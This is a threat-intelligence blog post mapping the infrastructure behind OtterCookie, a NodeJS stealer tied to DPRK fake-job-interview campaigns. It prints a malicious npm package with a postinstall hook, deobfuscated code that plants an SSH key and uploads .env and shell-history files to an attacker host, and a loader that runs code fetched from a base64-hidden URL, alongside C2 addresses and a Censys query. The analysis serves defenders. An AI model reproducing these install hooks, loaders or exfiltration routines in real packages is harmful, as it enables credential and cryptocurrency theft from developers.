Mapping Ottercookie Infrastructure

Malware News
1

By: Jason Reaves

A lot of focus specifically surrounding DPRK has been on IT workers but there are multiple entities performing various schemes. One of the more prolific ones being interviewing developers and having them work on TA supplied code repositories from various sites. The malware delivered is normally leveraged for harvesting credentials and crypto; InvisibleFerret[5], BeaverTail, OtterCookie and Golang based malware[4].

Alot of work goes into tracking and cataloging the various malware families and their code overlaps, not many people focus on the infrastructure side though which is surprising because it’s pretty similar to malware analysis; just more pattern matching.

While tracking some other malware I ended up pivoting into NodeJS based stealer and backdoor code that resembled similar tactics to DPRK campaigns.

3a08e7f236aac7f6eb6f75911b98bc5157dcfa53b268b447f7d1b87b0615b90d

  "name": "npm-doc-builder",
  "version": "1.0.5",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "node test.js"
  },
  "publishConfig": {
    "access": "public"
  },
  "dependencies": {
    "axios": "^1.7.0",
    "child_process": "^1.0.2",
    "os": "^0.1.2"
  },
  "engines": {
    "node": ">=18"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "type": "commonjs"

The decoded index javascript from this package ends up doing a few things, first it will want to download a SSH key to be added locally:

  const _0x30c718 = await fetch("https://cloudflareinsights[.]vercel[.]app/");
  const {
    msg: _0x50cbce
  } = await _0x30c718.json();
  let _0x581499 = false;
  if (process.platform === "linux") {
    _0x581499 = addSshKeyToUser(_0x50cbce);

It will also download patterns for scanning

 const _0x3c4caa = await fetch("https://cloudflareinsights[.]vercel[.]app/api/scan-patterns");
  const {
    scanPatterns: _0x28ca54
  } = await _0x3c4caa.json();

In this case it returned:

{"scanPatterns":[".env",".bash_history","ConsoleHost_history.txt"]}

Ultimately wanting to send off the files:

 for (let _0x14ded9 = 0x0; _0x14ded9 < _0x57def7.length; _0x14ded9++) {
    await uploadFile(_0x57def7[_0x14ded9], "https://cloudflareinsights[.]vercel[.]app/api/v1", _0x581499);

Pivoting on this information I found this blog[1], that saame site led me to this[2]:

"use strict";

const axios = require("axios");
const process = {
  env: {
    DEV_API_KEY: "aHR0cHM6Ly93d3cuaXNpbGxlZ2FscmVnaW9uLmNvbS9hcGkvaXAtY2hlY2stZW5jcnlwdGVkLzNhZWIzNGEzMg==",
    DEV_SECRET_KEY: "eC1zZWNyZXQta2V5",
    DEV_SECRET_VALUE: "c2VjcmV0",
  }
};

(async function initializeCaller(..._args) {
  const apiEndpoint = atob(process.env.DEV_API_KEY);
  const apiHeaderKey = atob(process.env.DEV_SECRET_KEY);
  const apiHeaderValue = atob(process.env.DEV_SECRET_VALUE);

  let retryCount = 5;

  while (retryCount > 0) {
    try {
      const originalLog = console.log;

       // Safe placeholder request
      const response = (await axios.post(apiEndpoint, { headers: { [apiHeaderKey]: apiHeaderValue } })).data;
      const handler = new Function.constructor("require", response);
      handler(require);

      console.log = originalLog;
      break;
    }
    catch (error) {
      retryCount--;
    }
  }
})();

This code posts hardcoded data to a URI:

{ headers: { 'x-secret-key': 'secret' } }

The downloaded code is obfuscated:

After deobfuscating the code aligns with OtterCookies from another blog[3]:

  const u_s = "hxxp://144.172.116[.]22:8086/upload";
  const l_s = "hxxp://144.172.116[.]22:8085/upload";
  const s_s = "hxxp://144.172.116[.]22:8087";

The malware itself aligns with the other blog well enough, focusing more on the infrastructure some pretty noticeable port mappings:

HTTP 8085/TCP
Express

HTTP 8086/TCP
Express

HTTP 8087/TCP
Express

UNKNOWN 17500/TCP
linux

Port 8085 returns this in Censys[6]:

Ok

Also leveraging the banner hash of port 17500 we can map out quite a bit of infrastructure:

services.http.response.body_hashes="sha256:843ac01149cced785dfebd0028d3b03ba78e286e1c6f9517ebfcdb609d97af4c" and services.banner_hashes="sha256:31d55cb5dd194cd99387d386e84d8b24d340c0b52983ce630f0aafd70fee008c" and services.port="17500"

IPs:

 144.172.110[.]96
 144.172.110[.]228
 144.172.99[.]248
 107.189.22[.]20
 144.172.110[.]132
 144.172.99[.]81
 144.172.116[.]22
 144.172.93[.]169
 144.172.93[.]253

References

1: https://kmsec.uk/blog/contagious-trader/

2: https://dprk-research.kmsec.uk/api/samples/76df69b919642ab4d54a94e8988b4fafaa16c933f7bc5d6dffddf4c27762908a

3: https://www.enki.co.kr/en/media-center/blog/contagious-interview-campaign-abusing-vscode-distributed-on-github

4: https://medium.com/walmartglobaltech/golang-backdoor-with-a-side-of-chromeupdatealert-app-9e47d1063ead

5: https://www.microsoft.com/en-us/security/blog/2026/03/11/contagious-interview-malware-delivered-through-fake-developer-job-interviews/

6: https://censys.com/

Mapping Ottercookie Infrastructure was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Introduction to Malware Binary Triage (IMBT) Course

Looking to level up your skills? Get 10% off using coupon code: MWNEWS10 for any flavor.

Enroll Now and Save 10%: Coupon Code MWNEWS10

Note: Affiliate link – your enrollment helps support this platform at no extra cost to you.

Article Link: https://medium.com/walmartglobaltech/mapping-ottercookie-infrastructure-1c49f0cd3883?source=rss----905ea2b3d4d1---4